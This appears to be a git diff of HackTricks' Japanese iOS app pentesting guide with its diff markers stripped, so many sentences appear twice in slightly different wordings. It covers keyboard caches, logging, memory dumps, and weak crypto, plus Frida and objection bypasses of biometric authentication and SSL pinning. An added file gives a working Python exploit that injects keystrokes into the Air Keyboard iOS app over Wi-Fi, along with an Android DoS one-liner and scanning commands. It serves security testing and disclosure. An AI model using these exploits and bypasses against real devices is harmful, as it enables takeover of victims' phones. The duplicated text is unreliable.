- デフォルトのiOSキーボードの自動修正および自動提案機能に注意してください。これにより、`Library/Keyboard/{locale}-dynamic-text.dat` または `/private/var/mobile/Library/Keyboard/dynamic-text.dat` に保存された機密情報がキャッシュファイルに格納される可能性があります。これらのキャッシュファイルは、機密データのために定期的にチェックする必要があります。キャッシュデータをクリアするために、**設定 > 一般 > リセット > キーボード辞書をリセット** することが推奨されます。
- ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキー入力を送信しているかどうかを確認できます。
### **テキストフィールドキャッシュの防止**
[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits) は、自動修正と安全なテキスト入力を管理するためのプロパティを提供し、機密情報のキャッシュを防ぐために重要です。たとえば、自動修正を無効にし、安全なテキスト入力を有効にすることできます:
[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits) は、自動修正と安全なテキスト入力を管理するためのプロパティを提供し、機密情報のキャッシュを防ぐために重要です。たとえば、自動修正を無効にし、安全なテキスト入力を有効にすることは次のように実現できます:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **ログ**
コードのデバッグには、**ロギング**の使用がよく含まれます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリがアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
コードのデバッグにはしばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリがアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
これらの制限にもかかわらず、**物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスクに残ることに注意が必要です。
これらの制限にもかかわらず、**物理的にアクセスできる**攻撃者は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスクに残ることに注意が必要です。
リスクを軽減するために、**アプリと徹底的に対話し**、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。
アプリのソースコードをレビューして潜在的な漏洩を探す際には、`NSLog``NSAssert``NSCAssert``fprintf`などのキーワードを使用して、**事前定義された**および**カスタムロギングステートメント**の両方を探してください。また、カスタム実装のための`Logging``Logfile`の言及も確認してください。
アプリのソースコードをレビューして潜在的な漏洩を探す際には、`NSLog``NSAssert``NSCAssert``fprintf`などのキーワードを使用して**定義済み**および**カスタムロギングステートメント**の両方を探してください。また、カスタム実装のための`Logging``Logfile`の言及も確認してください。
### **システムログの監視**
@ -669,7 +669,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### アプリの動作の変更
バックアップの変更を通じてアプリの動作を変更する例は、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)で示されており、UIロックPINは**pin_code**キーの下に`net.bither.plist`に保存されています。このキーをplistから削除し、バックアップを復元することで、PINの要求が解除され、制限のないアクセスが可能になります。
バックアップの変更を通じてアプリの動作を変更する例は、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)で示されており、UIロックPINは**pin_code**キーの下に`net.bither.plist`に保存されています。このキーをplistから削除し、バックアップを復元することで、PINの要求が解除され、制限のないアクセスが提供されます。
## 機密データのメモリテストに関する概要
@ -687,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
より詳細な分析、特定のデータタイプやパターンの検索を含む、**radare2**は広範な検索機能を提供します:
より詳細な分析、特定のデータタイプやパターンの検索を含むために、**radare2**は広範な検索機能を提供します:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -708,13 +708,13 @@ $ r2 frida://usb//<name_of_your_app>
### Use of Insecure and/or Deprecated Algorithms
開発者は、**deprecated algorithms**を使用して認証の**checks**を行ったり、データを**store**または**send**したりすべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**hashes**を使用する場合、ソルトを使用したハッシュのブルートフォース**resistant**なものを使用するべきです。
開発者は、認証**チェック**、**保存**、または**送信**のために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
### Check
主なチェックは、コード内に**hardcoded**のパスワード/秘密があるか、またはそれらが**predictable**であるか、コードが何らかの**weak** **cryptography**アルゴリズムを使用しているかを確認することです。
主なチェックは、コード内に**ハードコーディングされた**パスワード/秘密があるか、またはそれらが**予測可能**であるか、そしてコードが何らかの**弱い****暗号化**アルゴリズムを使用しているかどうかを確認することです。
**crypto** **libraries**を自動的に**monitor**できることを知っておくと興味深いです。**objection**を使用して:
興味深いことに、**objection**を使用して、いくつかの**crypto** **ライブラリ**を自動的に**監視**することができます。
```swift
ios monitor crypt
```
@ -724,15 +724,15 @@ ios monitor crypt
**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムが回避される可能性があるということです。
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に処理するための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に扱うための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります
- **`LocalAuthentication.framework`**:生体データへのアクセスなしで高レベルのユーザー認証を行います。
- **`Security.framework`**:生体認証で秘密データを保護するための低レベルのキーチェーンサービスアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
- **`Security.framework`**:生体認証で秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
> [!CAUTION]
> ただし、`LocalAuthentication.framework``Security.framework`の両方には脆弱性があり、主にブール値を返すだけで認証プロセスのためのデータを送信しないため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
> ただし、`LocalAuthentication.framework``Security.framework`の両方には脆弱性があり、主にブール値を返すだけで認証プロセスのためのデータを送信しないため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
### ローカル認証の実装
@ -745,7 +745,7 @@ Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢が
### キーチェーンを使用したローカル認証
iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセス可能になります。
iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのデバイスのパスコードまたはTouch IDのような生体認証を使用してのみアクセス可能になります。
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードで成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
@ -880,7 +880,7 @@ NSLog(@"Something went wrong");
```bash
$ otool -L <AppName>.app/<AppName>
```
`LocalAuthentication.framework`アプリで使用されている場合、出力には以下の2行が含まれます`LocalAuthentication.framework`は内部で`Security.framework`を使用していることを忘れないでください):
アプリで`LocalAuthentication.framework`が使用されている場合、出力には以下の2行が含まれます`LocalAuthentication.framework`は内部で`Security.framework`を使用していることを忘れないでください):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
@ -891,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
#### **Objection**
**Objection Biometrics Bypass**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある技術が**LocalAuthentication**メカニズムを克服するために利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。
**Objection Biometrics Bypass**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある技術が**LocalAuthentication**メカニズムを克服するために利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。
このバイパスを有効にするために、次のコマンドが使用されます:
```bash
@ -902,11 +902,11 @@ $ otool -L <AppName>.app/<AppName>
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
このコマンドは、Objectionがタスクを登録し、`evaluatePolicy`チェックの結果を`True`実質的に変更するシーケンスを開始します。
このコマンドは、Objectionが`evaluatePolicy`チェックの結果を`True`効果的に変更するタスクを登録する一連のプロセスを開始します。
#### Frida
**`evaluatePolicy`**の使用例は、[DVIA-v2アプリケーション](https://github.com/prateek147/DVIA-v2)からのものです:
**`evaluatePolicy`**の使用例は、[DVIA-v2 application](https://github.com/prateek147/DVIA-v2)からです:
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
ローカル認証の**バイパス**を達成するために、Fridaスクリプトが作成されます。このスクリプトは**evaluatePolicy**チェックを対象とし、そのコールバックを傍受して**success=1**を返すようにします。コールバックの動作を変更することで、認証チェック効果的にバイパスされます。
ローカル認証の**バイパス**を達成するために、Fridaスクリプトが作成されます。このスクリプトは**evaluatePolicy**チェックをターゲットにし、そのコールバックを傍受して**success=1**を返すようにします。コールバックの動作を変更することで、認証チェック効果的にバイパスされます。
以下のスクリプトは、**evaluatePolicy**メソッドの結果を変更するために注入されます。コールバックの結果を常に成功を示すように変更します。
```swift
@ -1017,12 +1017,12 @@ burp-configuration-for-ios.md
### ホスト名チェック
TLS証明書を検証する一般的な問題の一つは、証明書が**信頼された** **CA**によって署名されているかを確認することですが、**証明書のホスト名**がアクセスされているホスト名であるかを**確認しない**ことです。\
TLS証明書を検証する一般的な問題は、証明書が**信頼された** **CA**によって署名されているかを確認することですが、**証明書のホスト名**がアクセスされているホスト名であるかを**確認しない**ことです。\
この問題をBurpを使用して確認するためには、iPhoneでBurp CAを信頼した後、**異なるホスト名のためにBurpで新しい証明書を作成**し、それを使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
### 証明書ピンニング
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になることがあります。**\
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になる可能性があります。**\
脱獄したデバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
また、**objectionの** `ios sslpinning disable`を使用することもできます。
@ -1030,25 +1030,25 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
## その他
- **`/System/Library`**には、システムアプリケーションによって使用されるフレームワークがインストールされています。
- App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。
- **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
- App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。
- **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
- **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。
- インストールされたアプリケーションのフォルダ内(**`/User/Applications/<APP ID>/`**)には、いくつかの興味深いファイルがあります:
- **`iTunesArtwork`**:アプリによって使用されるアイコン
- **`iTunesMetadata.plist`**App Storeで使用されるアプリの情報
- **`/Library/*`**:設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に行われたスナップショットが含まれています。
- **`/Library/*`**:設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが含まれています。
### ホットパッチ/強制更新
開発者は、アプリケーションをApp Storeに再提出して承認を待つことなく、**アプリのすべてのインストールを瞬時にパッチ**できます。\
この目的のために通常は[**JSPatch**](https://github.com/bang590/JSPatch)が使用されますが、[Siren](https://github.com/ArtSabintsev/Siren)や[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)などの他のオプションもあります。\
**これは悪意のあるサードパーティSDKによって悪用される可能性のある危険なメカニズムであるため、自動更新に使用される方法もしあればを確認し、テストすることをお勧めします。** この目的のためにアプリの以前のバージョンをダウンロードしてみることができます。
開発者は、アプリケーションをApp Storeに再提出して承認を待つことなく、**アプリのすべてのインストールを即座にパッチ**できます。\
この目的のために通常は[**JSPatch**](https://github.com/bang590/JSPatch)**が使用されます。**しかし、[Siren](https://github.com/ArtSabintsev/Siren)や[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)などの他のオプションもあります。\
**これは悪意のあるサードパーティSDKによって悪用される可能性のある危険なメカニズムであるため、自動更新に使用される方法もしあればを確認し、テストすることをお勧めします。**この目的のためにアプリの以前のバージョンをダウンロードしてみることができます。
### サードパーティ
**3rdパーティSDK**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、完全にその利点を放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分で修正することができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
**3rdパーティSDK**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、完全にその利点を放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者がこれらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーやセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者がこれらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーやセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形式で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報PIIの開示を防ぐために**匿名化**されるべきです。
@ -1056,6 +1056,12 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
```bash
otool -L <application_path>
```
## 興味深い脆弱性とケーススタディ
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **参考文献とリソース**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
@ -1084,5 +1090,4 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,92 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
iOS版の商用「Air Keyboard」アプリケーションApp Store ID 6463187929は、**ポート8888でクリアテキストTCPサービスを開き**、**認証なしでキーストロークフレームを受け入れます**。
同じWi-Fiネットワーク上の任意のデバイスがそのポートに接続し、被害者の電話に任意のキーボード入力を注入することができ、**完全なリモートインタラクションハイジャック**を実現します。
対応するAndroidビルドは**ポート55535**でリッスンします。弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミデータが**OpenSSL復号ルーチンで未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
## 1. Service Discovery
ローカルネットワークをスキャンし、アプリで使用される2つの固定ポートを探します:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
Android端末では、責任のあるパッケージをローカルで特定できます:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. フレームフォーマット (iOS)
バイナリは、`handleInputFrame()` ルーチン内の次の解析ロジックを明らかにします:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
宣言された長さには `device_id` バイトが含まれていますが、2 バイトのヘッダー自体は含まれていません。
## 3. エクスプロイト PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
任意の印刷可能なASCII`\n``\r`、特殊キーなどを含むは送信可能であり、攻撃者に物理的なユーザー入力と同じ力を与えますアプリの起動、IMの送信、フィッシングURLの訪問など。
## 4. Android Companion サービス拒否
Androidポート55535は、**ハードコーディングされたAES-128-ECBキー**で暗号化された4文字のパスワードとランダムなンスを期待します。 解析エラーは`AES_decrypt()`にバブルアップし、キャッチされず、リスナースレッドが終了します。 したがって、単一の不正なパケットで正当なユーザーを切断し、プロセスが再起動されるまで接続を維持するのに十分です。
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. 根本原因
1. **受信フレームのオリジン/整合性チェックがない** (iOS)。
2. **暗号の誤用** (静的キー、ECB、長さ検証の欠如) と **例外処理の欠如** (Android)。
## 6. 緩和策と強化アイデア
* モバイル端末で認証されていないサービスを決して公開しない。
* オンボーディング中にデバイスごとの秘密を導出し、入力処理の前にそれらを検証する。
* リスナーを `127.0.0.1` にバインドし、リモートコントロールのために相互認証された暗号化トランスポート (例: TLS, Noise) を使用する。
* モバイルセキュリティレビュー中に予期しないオープンポートを検出する (`netstat`, `lsof`, `frida-trace` on `socket()` など)。
* エンドユーザーとして: Air Keyboard をアンインストールするか、信頼できる隔離された Wi-Fi ネットワークでのみ使用する。
## 検出チートシート (ペンテスター)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## 参考文献
- [Air Keyboard iOSアプリのリモート入力インジェクション脆弱性は未修正のまま](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurityアドバイザリー WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
{{#include ../../banners/hacktricks-training.md}}